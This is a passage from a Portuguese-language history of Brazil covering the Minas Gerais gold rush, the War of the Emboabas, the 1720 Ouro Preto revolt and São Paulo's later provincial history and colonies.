fora feita, com intenção séria, nem tomada em consideração, na execução do decreto. Segunda ordenação, de 7 de abril de 1713, era de teor um pouco mais moderado: os estrangeiros, casados com portuguesas e que delas tivessem filhos, podiam permanecer, caso não explorassem algum comércio; porém, se fossem negociantes, deviam ser arredados não só do distrito das minas, mas de todo o Brasil, e deportados para Lisboa, com todos os seus bens, mulheres e filhos.

Este sistema do exclusivismo foi-se aperfeiçoando sempre e também se estendeu às outras regiões da América do Sul portuguesa; sustentou-se, com zelosa severidade, durante cem anos (até 28 de janeiro de 1808), de sorte que em todo esse tempo foram excluídos o comércio mundial, a imigração estrangeira e mesmo todo o trato estrangeiro com o Brasil inteiro.

Porém esta questão fica para mais tarde; continuemos agora no solo de Minas Gerais. A sua tomada de posse pelos garimpeiros, os seus trabalhos, como dos seus acampamentos pouco a pouco surgiram vilas e cidades, são aspectos que já se mencionaram; muitos pormenores de seus variados sucessos do início serão ainda referidos, no correr da narração histórica; por outro lado, podemos desistir de fazer uma descrição geral, pois idênticas circunstâncias se repetiram há poucos anos na Califórnia e no continente australiano, e em geral estão frescas na lembrança de todos,S1.

Aqui, como lá, foi um louco atropelo de gente, que afluía de todos os países da Terra, homens das mais diversas condições e espécies, atraídos todos pelo mesmo ímã. Do distrito das minas, de São Paulo e Rio de Janeiro propagava-se cada vez mais essa febre amarela, a sede do ouro; da Bahia e de Pernambuco e ainda mais ao norte, acorriam multidões de pesquisadores de ouro; não era só o homem de poucos recursos, esperançoso de melhorar a sua posição, até ricos fazendeiros deixavam as suas fazendas abandonadas e conduziam os seus escravos para as lavras; com igual intento, especuladores compravam negros na Bahia, de sorte que uma muito grande parte dos braços de trabalho foram retirados das províncias do

 

Norte, produtoras de açúcar; e não havia como substituí-los, pois que também os traficantes de escravos, por causa dos melhores preços, transportavam agora a sua mercadoria africana diretamente ao Rio de Janeiro.

Por conseguinte, ao passo que em Minas Gerais floresciam as lavras, muitas fazendas de cana da Bahia e de Pernambuco entravam em decadência, e a produção brasileira de açúcar, que até então havia sido a mais importante e quase exclusivamente abastecia os mercados europeus, era agora vencida pela das ilhas açucareiras das índias Ocidentais. Na verdade, procurou o governo opor-se a isso; a exportação de negros das fazendas para as minas foi proibida, sob pena de confisco, e, para manter essa proibição, estacionavam tropas nas estradas rurais, e eram submetidos a severa investigação todos os navios que se faziam de vela dos portos do Norte para os do Rio de Janeiro e Santos; tudo baldado; os incansáveis especuladores sabiam burlar toda fiscalização, a corrente migratória natural contornava as obstruções artificiais, e dentro em breve convenceram-se as autoridades de que o melhor era deixar caminho livre à corrente. Destarte as terras de lavoura da costa foram despovoadas, em benefício dos distritos das minas do sertão, porque, quantos iam para lá, não regressavam facilmente; e, até hoje, é justamente a atual província de Minas Gerais, entre todas as províncias brasileiras, a que conta maior população.

Também da Europa emigraram para aqui pesquisadores de ouro; todavia, quase que exclusivamente portugueses, do Reino e das Ilhas; assim, não se verificou aqui, absolutamente, uma tão grande mistura de raças, como, por exemplo, acontece atualmente na terra de ouro da Califórnia, pois a população que afluía às minas gerais era, na sua totalidade, de origem portuguesa. Atritos nacionalistas, como sucederam na Califórnia entre os pesquisadores de ouro, não se deveriam esperar, por conseguinte, aqui; mas foi justamente o contrário: as diferenças nas feições populares, que surgiram da grande dispersão geográfica da raça lusitana, aqui se chocaram com muito mais freqüência e mais a sério, e as suas lutas alcançaram muito maior significação histórica.

Logo a princípio encontramos um antagonismo vivamente pronunciado, de caráter municipal, entre os próprios paulistas, habitantes da cidade de São Paulo e da vila de Taubaté; em geral, procuravam cautelosos desviar-se uns dos outros, mas, quando se encontravam, sempre era certa a dissidência; e, ainda há trinta anos, quando o viajante francês Saint-Hilaire visitou ambos os lugares, encontrou entre os habitantes a memória da velha inimizade dos pais. Em breve, porém, essa rivalidade municipal cedeu lugar a outra animosidade de províncias, entre paulistas e não paulistas.

Como se sabe, o distrito de ouro de Minas Gerais foi descoberto e a princípio colonizado por São Paulo, e politicamente era considerado dependência desta província. Os paulistas julgavam-se, portanto, verdadeiros donos da terra, e não viam com agrado que imigrantes de outras províncias e mesmo de Portugal fossem vindos para compartilhar da cata do seu ouro; eles chamavam a esses hóspedes indesejados "Forasteiros", ou pela alcunha injuriosa de "Emboabas" (de origem índia, designação das aves de pés emplumados; nome dado aos estrangeiros, porque esses, em contraste com os paulistas, descalços, costumavam usar botas e perneiras).

A posição desses estranhos foi, portanto, desde o princípio, muito constrangida; quais intrusos sem direitos, eram tratados pelos paulistas com arrogância, prejudicados de todos os modos, e, como se achassem isolados, em pequeno número, diante dos poderosos adversários, tinham que calar e sofrer. Porém, pouco a pouco, persistindo a imigração, alterou-se a proporção numérica: com o número foi crescendo também a coragem dos forasteiros; eles se congregaram em estreita união uns com os outros e se opuseram aos paulistas, como segundo partido de igual força, e passaram a retribuir arrogância com arrogância, violência com violência.

Pela posse desta ou daquela lavra, para vingar a morte de partidários, travavam-se combates, ora aqui, ora ali, de pequenos grupos isolados ou de verdadeiros bandos, e o braço da lei nem podia impedir isso, nem castigar os culpados; foi um tempo de geral anarquia, do qual até hoje lembram, como rígidos monumentos, nomes de nefasta memória; assim, por exemplo, rio das Mortes 132 e Capão da Traição, perto de São João del-Rei.

Estas circunstâncias foram piorando de ano para ano e tomaram raízes cada vez mais fundas; cada vez mais se firmava a convicção, tanto num como noutro partido, de que na terra do ouro não havia bastante espaço para ambos; e, finalmente, estalou entre os partidos inimigos uma verdadeira guerra geral.

Cerca de 1706-1707, começou cada um dos partidos, no distrito em que o seu número já superava o do adversário, a oprimir completamente o outro; assim, os forasteiros nas minas do Norte, de Sabará, Caeté, etc, atacaram de surpresa os paulistas, fizeram prisioneiros os seus mais importantes chefes e escolheram então um de seu partido, que já se havia distinguido muitas vezes em combate, o português Manuel Nunes Viana, para chele, para governador das Minas Gerais.

Este, mesmo que ele quisesse, diante da excitação dos ânimos, não poderia ter recusado a eleição ilegal; aceitou, pois, a oferecida dignidade e a sua autoridade era em breve reconhecida por todos os forasteiros dos arredores, de sorte que ele dispunha de um exército considerável, superior de muito ao dos paulistas. Estes, de seu lado, haviam, entrementes, procedido de igual maneira, nas minas do Sul, São João del-Rei, Ouro Preto, etc, porém ainda não haviam subjugado completamente o partido adversário; justamente a tempo levou Nunes Viana auxílio para Ouro Preto, aos seus partidários em apuros, enquanto o seu lugar-tenente, Bento do Amaral Coutinho, natural do Rio de Janeiro, corria a São João del-Rei e, ali, no rio das Mortes, restabelecia o predomínio dos forasteiros.

Ainda em muitos outros pontos se deram combates e quase em toda parte venceram os forasteiros, infelizmente manchando também a maioria de seus triunfos com traição e crueldades sanguinárias; os paulistas, por seu lado, conservaram-se apenas em poucos pontos e muitos fugiram completamente dos distritos das minas, para a sua terra.

Quando chegou ao Rio de Janeiro a notícia da guerra civil em Minas Gerais, o capitão-general dali, Fernando Martim Mascarenhas, pois que, em virtude de seu cargo, exercia também autoridade sobre São Paulo e o distrito das Minas, considerou de seu dever intervir imediatamente.

Em julho de 1708, partiu acompanhado por pequena força militar para ali, tomou primeiro posição fortificada no rio das Mortes e restabeleceu ali a ordem; sob a proteção da sua bandeira, reuniram-se também os paulistas fugitivos, reclamaram o seu auxílio e apresentaram queixas contra os forasteiros, que procuravam fazê-los passar como revoltosos contra a lei e contra o rei.

Pelo outro lado, no seio do partido vencedor, dos forasteiros, subiram então ao mais alto ponto a excitação e a desconfiança; contava-se que o capitão-general havia trazido carroças cheias de correntes, a fim de conduzir dali, como escravos das galés, as pessoas suspeitas; e tumultuariamente exigiu o povo dos mineiros que se fizesse frente a ele de armas na mão.

O governador eleito, Manuel Nunes Viana, quisesse ou não quisesse, teve que obedecer à vontade do povo; sob pena de morte, ele convocou para a campanha todos os homens que pudessem manejar armas, acampou perto de Congonhas, oito léguas a sudoeste de Ouro Preto, e esperou ali o capitão-general, que, depois de longa demora no rio das Mortes, finalmente se dispôs a avançar mais para o coração do distrito das Minas.

Mascarenhas não esperava séria resistência; o seu espanto e o seu terror não foram pequenos, por conseguinte, quando deparou com um exército superior de muito em número, desenvolvido em perfeita ordem de batalha, e ouviu retumbar os clamores sediciosos; já ele se dava e a todo o seu séquito por perdidos. Porém Viana, por sua influência e seu bom senso, impediu o combate; ele próprio dirigiu-se ao acampamento do capitão-general, e, ao passo que o esclarecia sobre o verdadeiro estado de coisas, procurou desculpar a sua conduta e a de seus partidários do melhor modo; protestou a inabalável lealdade de todos para com o rei; ao mesmo tempo declarou francamente que, diante da atitude excitada dos mineiros, o capitão-general faria bem em retirar-se imediatamente, porque de outro modo seria para recear o pior. No pé em que estavam as coisas, Mascarenhas teve que se dar por satisfeito e ainda feliz em não ser estorvada a sua retirada; porém confiança plena ele não pôde ter nos protestos de Viana; talvez também se sentisse pessoalmente ofendido, e daí o haver dado ouvidos às insinuações dos paulistas.

Apenas chegou ele, a salvamento, a São Paulo, logo pensou em segunda expedição de guerra; e desta vez deviam as tropas penetrar ao mesmo tempo de dois lados, as do Norte, pelo rio São Francisco acima, e as do Sul, no distrito das Minas. Todavia, ele não teve tempo de realizar este plano, pois já nos meses seguintes chegou ao Rio de Janeiro o seu sucessor nomeado, Antônio de Albuquerque Coelho de Carvalho, em cujas mãos ele depôs o cargo, a 11 de junho de 1709.

Entretanto, Manuel Nunes Viana, ao passo que mantinha sempre contra os paulistas o pé de guerra, por outro lado restabelecia em Minas Gerais uma espécie de ordem legal; afável e generoso para com todos, ao mesmo tempo justiceiro e clemente, ele soube conquistar todos os corações, de sorte que as suas ordens eram obedecidas de boa vontade. Cessou de todo a infrene anarquia; em todas as repartições foram colocados funcionários ordeiros, e a justiça e administração retomaram andamento regular; ao mesmo tempo fez Viana eleger representantes do povo, que levassem à corte do rei a vontade do mesmo e especialmente fossem solicitar para o distrito das Minas uma organização política independente; para o custeio das despesas dessa delegação, condescendeu o povo em dar uma contribuição voluntária.

Não está bem claro se Viana era de fato animado de verdadeira lealdade, ou se nutria ambiciosas esperanças revolucionárias; em todo caso, ficou sempre crítico o estado das coisas. O distrito das Minas protestou, sem dúvida, fidelidade à coroa; porém mantinha uma independência de fato perante as autoridades legais e persistia em franco pé de guerra para com a vizinha região de São Paulo. Mesmo que o ditador fosse honestamente intencionado, ali existiam elementos revolucionários da pior espécie: correu o boato de que num Conselho de Estado dos mineiros se propusera que, durante oito a dez anos, o Estado se conservasse em completa independência e não consentisse na vinda de mais ninguém para as lavras; depois, quando todos se houvessem enriquecido bastante, de novo se voltaria à obediência à coroa, estipulando para isso plena anistia; e, se esta fosse recusada, sempre seria fácil fugir para além das fronteiras, para o vizinho império colonial espanhol, levando todos os tesouros.

Além disso, rompia agora a discórdia entre a gente mais moderada, os melhores elementos da população das minas; com insistência acusavam o ditador de haver dado preferência, na distribuição dos cargos, a portugueses natos, preterindo injustamente os brasileiros, e, assim, o predominante partido dos forasteiros ameaçava cindir-se: à facção portuguesa, sob o comando de Manuel Nunes Viana, se opôs uma de brasileiros nativistas, a cuja frente se colocou um baiano rico, Sebastião Pereira de Aguilar.

Ficassem todos esses dissídios entregues a si mesmos, seria um nunca acabar; os tumultos revolucionários e a guerra civil nunca teriam fim.

Por felicidade, o novo capitão-general, Antônio de Albuquerque, era um estadista tão hábil quanto expedito, e não perdeu tempo para intervir. Depois de haver assumido, a 11 de junho de 1709, as rédeas do governo, demorou apenas algumas semanas no Rio de Janeiro; depois, a 20 de julho, colocou em seu lugar um funcionário substituto e dirigiu-se ao foco das perturbações, em primeiro lugar a São Paulo. Aqui, justamente, então, a excitação havia chegado ao auge, os paulistas, irritados com a perda das suas lavras, recriminados por suas mulheres por causa da derrota e fuga, ardiam pela desforra; numa reunião popular na câmara municipal de São Paulo (22 de agosto de 1709), resolveram fazer uma campanha formal contra o distrito das Minas, "a fim — como eles diziam — de restabelecer ali a paz e a obediência e garantir para o rei o seu quinto"; por toda parte foram recrutados homens, e foi escolhido Amador Bueno para o comando-chefe.

Antônio de Albuquerque não se envolveu nestes preparativos, nem se deteve em tomá-los em consideração; apenas com pequeno séquito cavalgou para o norte, a fim de avisar os mineiros do perigo que os ameaçava; e, como a confiança gera a confiança, estes o acolheram amistosamente e não puseram embaraço algum à continuação da sua viagem. Assim, chegou ele a Caeté, ao quartel-general da facção brasileira mais fraca, onde o seu chefe, Aguilar, contente por achar amparo numa autoridade legal, com todo o respeito se dirigiu a seu encontro; em breve também sentiu Viana que a sua posição se tornava insustentável; dispôs-se à submissão, e o seu exemplo foi por toda parte imitado. Antônio de Albuquerque concedeu então a todos os participantes da rebelião anistia plena; mesmo aos cabeças foi concedido recolherem-se sem estorvo a seus lares ou seguirem além, para o sertão133; as autoridades legais de novo assumiram os seus cargos. Assim, dentro de poucos meses, estavam restabelecidas a ordem legal e a tranqüilidade em toda Minas Gerais.

133 Parece que a coroa não sancionou em todos os pontos esse ato de clemência; ao menos, Manuel Nunes Viana, que se havia retirado para o alto São Francisco, foi mais tarde encarcerado, a fim de ser depois deportado para Lisboa; porém morreu em caminho, numa prisão da Bahia (Nota do autor).

Com isso, todavia, não estava concluída a guerra civil, pois agora avançava do sul o exército paulista, sob o comando de Amador Bueno, para tirar desforra da afronta sofrida por parte dos mineiros.

O capitão-general foi a seu encontro e os advertiu em favor da paz; porém as suas exortações não encontraram ouvidos, e ele teve mesmo que recear que à força o obrigassem a tomar parte na expedição; por esse motivo, ele tratou logo de fugir ocultamente para a costa, onde embarcou num navio, de regresso à sua residência no Rio de Janeiro.

Os paulistas, porém; prosseguiram na marcha, até alcançar os postos mais avançados dos inimigos, no rio das Mortes; travou-se ali encarniçada batalha, que durante muitos dias se renovava com redobrado furor; de ambos os lados combatia-se com bravura louca; os mineiros, todavia, conservavam-se firmes, com felicidade, nàs trincheiras, contrapondo-se à superioridade dos inimigos, e, quando do norte acudiram os seus partidários para levantar o cerco, bateram em retirada os paulistas e regressaram às pressas às suas terras. Logo depois, chegou ali, vindo do Rio de Janeiro, um destacamento de tropas legais, que tomaram posição na própria região onde justamente se travara a guerra; ficava deste modo protegida a fronteira sul do distrito das Minas, punha-se um paradeiro a futuras incursões paulistas. Podiam os paulistas entrar em paz na terra do ouro e também lhes seriam restituídas as lavras que ilegalmente lhes haviam sido arrebatadas (30 de maio de 1711); todavia, nunca mais alcançaram a antiga supremacia; antes, ao contrário, ainda durante muitos anos sofreram desconfianças e preterições por parte do povo e das autoridades, como, por exemplo, um decreto real de 24 de julho de 1711 expressamente ordenava que, para a guarnição militar do distrito das Minas, nenhum paulista devia ali figurar como oficial; só se podia fazer exceção, quando se tratasse de algum cuja obediência e lealdade tivessem sido comprovadas. Somente pouco a pouco o tempo aplainou os antigos antagonismos entre paulistas e forasteiros, e todos os habitantes das Minas Gerais, de qualquer descendência, fundiram-se numa nova população provincial, que continuou a usar o nome de mineiros, por sua primitiva indústria *.

Na guerra, por causa das "minas gerais", patentearam-se extremamente aquela presunção excessiva, aquele libérrimo espírito de independência sem lei, desenvolvidos entre os paulistas, por uma liberdade municipal ilimitada; porém esta foi também a última vez. Atraíram estes acontecimentos a atenção da corte de Lisboa; e, quanto maior importância esta atribuía às riquezas minerais do distrito das Minas, tanto mais se convencia de que era preciso modificar a situação; e resolveu estabelecer ali uma firme organização estadual, em lugar da anarquia de até então, para que não mais pudessem reproduzir-se semelhantes fatos. Para esse fim (anularam-se os direitos feudais de posse), foi a região de São Paulo, com a sua depenciência, as Minas Gerais, elevada a uma capitania geral régia (9 de novembro de 1709); um lugar-tenente da coroa foi instalado aqui, na cidade de São Paulo, investido dos plenos poderes de um capitão-general, somente subordinado à coroa. E foi desta dignidade encarregado pela primeira vez o até então capitão-general do Rio de Janeiro, Antônio de Albuquerque Coelho de Carvalho, a 23 de novembro, fazendo a sua entrada solene na sua nova capital, São Paulo, a 18 de junho de 1710.

Já conhecedor das condições do meio, desenvolveu ele imediatamente viva atividade organizadora; em todas as partes de seu governo ele empreendeu as mudanças que a nova forma política impunha; porém sempre as suas diligências visavam de preferência ao distrito das Minas. Porque, se ali estavam restabelecidas a paz e a autoridade da coroa, contudo as dificuldades e embaraços que acarreta o estabelecimento de um novo Estado, sobretudo num país do ouro, não estavam absolutamente removidos; tanto Albuquerque, como os seus sucessores imediatos, Brás Baltasar da Silveira, 31 de agosto de 1713 e seguintes, e Pedro de Almeida Portugal, conde de Assumar, 14 de setembro de 1717, etc, tiveram que lutar, sempre e sempre, contra o espírito anárquico e independente da população local.

Nenhuma classe deixou de incorrer em graves culpas; pois até padres e curas nomeados se puseram à frente de arruaças locais, de mão armada libertaram criminosos encarcerados, e ofereceram resistência às ordens das autoridades. Assim como essas autoridades provinciais estavam sempre prontas a subjugar pela força essas perturbações da ordem, também a legislação se esforçou por debelar esses males pela raiz.

Já se disse como o governo se empenhava por arredar todos os elementos que pareciam perigosos à paz interna e, ainda mais, para as cobranças fiscais: estrangeiros, monges e padres sem emprego, negociantes e estalajadeiros, etc, foram expressamente desterrados do distrito das Minas, e foi mesmo o governador investido de plenos poderes gerais para expulsar sem rodeios toda pessoa, cuja permanência lhe parecesse inconveniente.

Outra série de leis combatia os três vícios prediletos dos mineiros: a mania de brigar, a bebedice e o jogo; os jogos de dados e de azar foram absolutamente proibidos; foi limitado o número dos engenhos de aguardente; e, para reprimir a mania de brigar, foram algumas armas de todo vedadas, reservado o uso das outras só às classes melhores da população. Todas essas medidas policiais não puderam, evidentemente, ser aplicadas com rigor no país novo, e passaram-se ainda muitos decênios, antes que o espírito bravio da população se abrandasse e que razoavelmente se firmasse a ordem legal.

Não é aqui o lugar de pormenorizar o desenvolvimento da nova capitania geral de São Paulo e Minas, ainda menos as perturbações de paz que teve que sofrer no começo134; todavia, ao menos mencionaremos uma série de acontecimentos, que todos se relacionam com a política financeira do governo. Já narramos como a coroa, em começo, arrecadava, diretamente das lavras, o quinto, a ela reservado, de todo o ouro descoberto, e como, para garantir toda a arrecadação contra qualquer fraude, havia sujeitado o distrito das minas a um sistema de fiscalização singularmente vexatório; o povo exultou, portanto, quando o governo aceitou o oferecimento de uma indenização global ânua, e assim desistiu do quinto e de toda a fiscalização, desde 1714.

134 Entre os mais importantes, figura a ameaça havida de romper uma guerra de raças; a população de cor, livre ou escrava, reuniu-se em muitos distritos para uma conjuração contra os brancos; na quinta-feira santa de 1718, deviam estes, todos, sem exceção, ser assassinados. Todavia, foi esse plano descoberto e abafado a tempo; deu motivo para justa desconfiança contra a raça de cor e deu ensejo para odiosa legislação local (já citamos este assunto no capítulo oitavo) (Nota do autor).

 

Por maior que fosse o pagamento que agora de ano para ano se remetia para Portugal, todavia nunca se contentava com ele a coroa; resolveu esta, em breve, tornar ao sistema antigo, pois esperava dele maior rendimento. Um decreto real, de 11 de fevereiro de 1719, estabeleceu, assim, a antiga regulamentação da fiscalização e proibiu especialmente a exportação do ouro em pó, ao mesmo tempo dispôs o estabelecimento de uma ou mais fundições de ouro, onde os pesquisadores de ouro tinham que fazer a entrega de todo o minério auferido, e onde, depois de retirado dele o quinto real, lhes era o seu ouro restituído em barras.

Pode-se imaginar que os mineiros não ficaram nada satisfeitos com o restabelecimento do antigo odiado sistema; mal foi espalhada a notícia e foram feitos os preparativos para construção das fundições, nos mais diversos pontos estalaram tumultos, maiores e menores, em geral reprimidos só com a força armada. Porém a agitação dos espíritos continuou e propagou-se sempre mais, até que chegou a formal rebelião.

A 28 de junho de 1720, à meia-noite, sublevaram-se os habitantes de Ouro Preto, e dirigiram-se primeiramente contra o juiz do distrito, o qual, pela severa administração da justiça, havia criado muitos inimigos; por felicidade, ele estava justamente ausente, porém a sua casa foi assaltada e saqueada; depois mandaram os revoltosos aviso a Mariana, onde, na ocasião, residia o capitão-general, exigindo que ele suspendesse a construção das fundições e lhes concedesse anistia plena. Naturalmente não quis o lugar-tenente da coroa, conde de Assumar, anuir, porém ele não tinha à mão tropas suficientes e os acontecimentos de Ouro Preto encontravam no povo geral aprovação; de sorte que teve em breve que condescender e como, de resto, a construção das fundições estivesse pouco adiantada, ele fez saber aos revoltosos que provisoriamente, por um ano, ficaria ainda tudo como antes (19 de julho).

Esta concessão excitou ainda mais a agitação e a coragem dos revoltosos; em ordem de combate avançaram sobre Mariana, e viu-se então o capitão-general obrigado a conceder tudo que eles exigiam, além disso plena anistia (10 de julho de 1729), ao que regressaram triunfantes a Ouro Preto.

Todavia,1 pouco durou o regozijo; certamente quanto ao sistema de finanças, ficou o acordo provisoriamente em vigor, e a fiscalização e as casas de fundição somente entraram a funcionar a l9 de fevereiro de 1725; porém, tanto mais depressa foi castigada a revolta; já nos primeiros dias mandou o conde Assumar secretamente soldados, que no silêncio da noite colheram de surpresa os cabeças dos revoltosos e os levaram presos; em seguida mandou conduzir, sob forte escolta, os prisioneiros ao Rio de Janeiro. Então muitos dos descontentes pegaram novamente em armas, para libertar os seus chefes traídos ou para os vingar; porém a maioria atemorizou-se, recuou diante de nova guerra civil.

Pôde assim o capitão-general, cujas tropas haviam sido reforçadas, subjugar dentro de pouco tempo, com as armas, todas as convulsões revolucionárias; aplicou-se a todos os culpados severa justiça, cuja impressão dolorosa ficou por muito tempo no espírito do povo e serviu eficazmente como exemplo de intimidação. Este acontecimento constituiu ao mesmo tempo um marco não pouco importante na história particular da capitania geral de São Paulo; pois à notícia das recentes ocorrências viu-se a coroa de Portugal levada a realizar imediatamente o plano, desde muito cogitado, de dar ao distrito das Minas uma organização política separada, um governo provincial próprio.

Depois que já, a 21 de fevereiro de 1720, determinara um decreto real a demarcação dos limites ao norte e a leste com as capitanias gerais do Rio de Janeiro, Bahia e Pernambuco, seguiu-se agora segundo decreto, de 2 de dezembro de 1720, que retirava do âmbito do capitão-general de São Paulo as "minas-gerais" e as constituía em nova capitania geral de Minas Gerais, com igualdade de direitos. São Paulo já antecipadamente fora indenizado por essa grande perda territorial, pois os paulistas haviam descoberto, nesse ínterim, na direção de oeste e noroeste, mais duas terras ricas de ouro, e fundado ali dois novos Estados filiais, as atuais províncias de Goiás e Mato Grosso.

Porém os princípios históricos dessas regiões não estão em tão estreita ligação com a história provincial de São Paulo como a de Minas Gerais e por esse motivo serão referidos somente mais adiante; basta aqui mencionar que ambas, depois de haverem formado, durante alguns decênios, simples comarcas do governo da nossa capitania geral, no correr dos anos 1744-48, foram dela separadas e constituídas autônomas. Com isso ficou reconduzida a autoridade dos capitães-generais ao primitivo território, o das atuais províncias de São Paulo e do Paraná. Como chefe eclesiástico do mesmo território era instalado justamente agora, pela bula de 6 de dezembro de 1746, o bispo de São Paulo, e a alta fundação eclesiástica, assim estabelecida (apesar da recente separação política de ambas estas regiões), tem conservado, desde então até à atualidade, a primitiva extensão de sua diocese.

A não ser isso, pouco há para narrar da história provincial de São Paulo, no século XVIII. Em benefício dos três Estados filiais havia-se esgotado a si mesma a província-mãe, por muitos anos, com a emigração de homens, braços de trabalho e capitais; por causa das incessantes caçadas ao escravo e ao ouro, estavam as indústrias principais, a lavoura e a criação de gado, desde muito tempo, descuradas c decaídas, de sorte que São Paulo entre as terras brasileiras tomava em população e bem-estar um dos lugares mais baixos; era, como se exprimiu então um dos seus governadores, "uma bela sem dote" ,35, não tinha forças nem estímulos para novas grandes ações históricas.

Nestas circunstâncias, também o governo da mãe-pátria pouca atenção lhe prestou, provisoriamente. A princípio ainda se conservaram aqui capitães-generais próprios, porém, depois, passou o governo temporariamente, 1733-34, em seguida de modo definitivo, 1748, a Gomes Freire de Andrade, conde de Bobadela, que, já além da capitania geral do Rio de Janeiro, Minas Gerais, reunia nas suas mãos ainda mais Goiás e Mato Grosso; e, enquanto este viveu (faleceu em São Sebastião, a 19 de janeiro de 1763), residia em São Paulo apenas um subgovernador, com poderes limitados. Somente desde 23 de junho de 1765, de novo assumiu as rédeas do governo provincial um capitão-general autônomo; o último era de ascendência alemã —João Carlos Augusto de Oeynhausen (25 de abril de 1819 e seguintes). Ele conquistou em alto grau a estima geral, de sorte que nos inícios da revolução brasileira, ao passo que quase por toda parte o representante da coroa teve que ceder lugar ao governo do povo, aqui o voto popular chamou o até então capitão-general a ficar à testa da junta provisória (junho de 1821); assim, a primeira transição do antigo para o novo sistema em São Paulo se fez em paz.

Os acontecimentos que se deram daí em diante, o importante papel que São Paulo representou na época da revolução brasileira, não os relataremos aqui; nos tempos recentes, a par da cidade e da província do Rio de Janeiro, ambas as províncias de Minas Gerais e de São Paulo têm feito história para todo o Brasil, e assim a sua história particularjpertence à história geral brasileira (seção III).

Somente destacaremos aqui dois fatos de especial importância. Foi no solo desta província, na planície do Ipiranga, pouco distante da capital, São Paulo, que o então príncipe regente, depois imperador d. Pedro I, proclamou pela primeira vez a independência nacional do Brasil, e onde o povo reunido em multidão fez unânime coro ao seu brado de: "Independência ou Morte!" (7 de setembro de 1822.)

Assim como esta ocorrência assinalou o início, segundo fato marcou de certo modo o fim da época revolucionária: aludimos à revolta de maio de 1842, que estalou quase ao mesmo tempo em São Paulo e Minas Gerais, porém ainda nesse mesmo ano foi com pouco esforço subjugada pelo general do império, barão de Caxias. Como castigo, a lei de 18 de junho de 1842 retirou da província de São Paulo uma pequena parte do seu território, que anexou provisoriamente à província vizinha do Rio de Janeiro; todavia essa medida, já ao cabo de poucos anos, era anulada e o antigo limite nordeste foi restabelecido (1846-47). Por outro lado, porém, foi, como já se mencionou, recentemente feita a definitiva separação, pela lei de 19 de dezembro de 1853, da parte sudoeste da província, e elevada a província autônoma do Paraná.

A província de São Paulo, na sua atual situação, conta 10 comarcas com 15 cidades e 41 distritos municipais e uma população avaliada em 500.000 almas; todavia esse número é certamente exagerado, pois um mapa estatístico de 1838 (que, portanto, incluía a atual província do Paraná) indicava somente 326.902 almas. Nesse número estavam 172.879 brancos; 59.454 mulatos livres; 6.811 negros livres e 825 índios civilizados; um total de 239.969 livres, acrescido de uma população escrava de 86.933 almas (dos quais 14.722 mulatos e 72.211 negros); portanto, o sangue branco equilibra-se francamente com o de cor, e o número dos livres é quase três vezes maior que o dos escravos.

Sobre o que diz respeito à produção e ao comércio, já nos referimos em outro lugar; igualmente sobre a composição social e a distribuição das propriedades territoriais; aqui acrescentamos apenas, para completar, que em São Paulo, como em parte alguma, foram as terras do Estado em pouco tempo desbaratadas e caíram nas mãos de uma pequena aristocracia de fazendeiros.

Isto aconteceu durante os anos de 1808 até 1821; o rei d. João VI, enquanto residiu no Rio de Janeiro, concedeu aos portugueses de sua comitiva, e em geral a quem quer que as solicitasse, com insensata liberalidade, as mais extensas sesmarias, sem se preocupar se os beneficiados tinham ou não os meios para fazê-las produzir; e os assim favorecidos recebiam as suas sesmarias em Minas Gerais, porém de preferência em São Paulo, de sorte que naquele tempo (1821) um viajante inglês, James Henderson, fez esta observação: "Em São Paulo não resta mais um só pedaço de terra do Estado, ao passo que, entretanto, nem uma trigésima parte daquela província é cultivada". Em relação a este último ponto, sem dúvida melhoraram um pouco as circunstâncias desde então; a província de São Paulo tem feito muitos progressos materiais, e, se está muito atrás da mais feliz vizinha, Rio de Janeiro, todavia procura quanto possível alcançá-la. Nestes últimos anos, tem-se ocupado o governo provincial de preferência com a questão, tão importante quanto difícil, dos meios de comunicação; uma completa rede de estradas foi projetada, e, a fim de tornar possível a sua construção, fizeram-se aos seus empreiteiros três concessões aventuradas, uma garantia de juros, peagem e monopólio do transporte de pessoas. E não era bastante: São Paulo quer também ter a sua estrada de ferro, da capital à pequena cidade de Jundiaí, distante 11 léguas portuguesas, a nordeste; e a câmara provincial já garantiu 2% de juros a esta ferrovia, na esperança de maior garantia por parte do governo central. O êxito desses dispendiosos projetos ainda é incerto e com justa razão se tem dúvidas a respeito.

Para concluir, ainda algumas palavras sobre a colonização estrangeira moderna. São Paulo, desde que o Brasil foi aberto ao comércio mundial, recebeu um número regular de imigrantes estrangeiros, mineiros alemães e suecos, aos quais deve os princípios da indústria do ferro, negociantes, operários, etc, das mais diversas nações; todavia, todos eles fundiram-se isolados no meio da população nacional. Por outro lado, quanto a colônias propriamente ditas, fundações exclusivamente agrícolas de língua estrangeira, até ao tempo mais recente, só existiam duas, de pequena importância.

No ano de 1829, fez o imperador d. Pedro I localizar 39 famílias alemãs em São Paulo, onde, a poucas léguas da capital, lhes concedeu terras de mata virgem; todavia, somente as 17 famílias mais pobres se utilizaram desse favor; as restantes, que dispunham ainda de alguns recursos, preferiram comprar terras roçadas que se ofereciam não longe dali, numa ex-missão de jesuítas, junto da aldeia de Itapece-rica. Assim surgiram as duas colônias vizinhas, as duas colônias irmãs, alemãs, de Santo Amaro e Itapecerica, nas quais a primeira tem maioria de protestantes, na outra prevalecem os católicos; as duas juntas podem contar algumas centenas de almas e exploram já importante criação de gado, assim como a cultura de plantas alimentícias; por outro lado, não prosperam nas suas terras o açúcar e o café.

A essas duas colônias mais antigas somente nos últimos anos se acrescentaram um grande número de novas, que todas se baseiam no mesmo sistema característico, e que, portanto, devemos enfeixar numa apreciação geral, nas denominadas colônias de parceria ou meação.

A história de sua origem é a seguinte: já em outro lugar mencionamos que, sobretudo nas províncias centrais do Norte do Brasil, nas terras propriamente açu-careiras, existe uma classe especial na população rural, os denominados lavradores, gente livre, que, porém, pelo fato de estar nas mãos da aristocracia de fazendeiros todo o solo, nunca podem chegar a possuir uma propriedade sua; portanto, sempre têm que se sujeitar a uma situação dependente do dono dã fazenda; estabelecem-se, uma vez obtida a licença, fazem uma roça e depois entregam a metade da colheita ao dono das terras, ao passo que ficam com a outra metade como paga do seu trabalho; portanto, um sistema de parceria, de resto, regulado simplesmente pelo costume; quase nunca se firma contrato, e o fazendeiro pode de um momento para outro despedir os seus lavradores meeiros, ou pode o meeiro ir-se embora, levando os seus bens móveis.

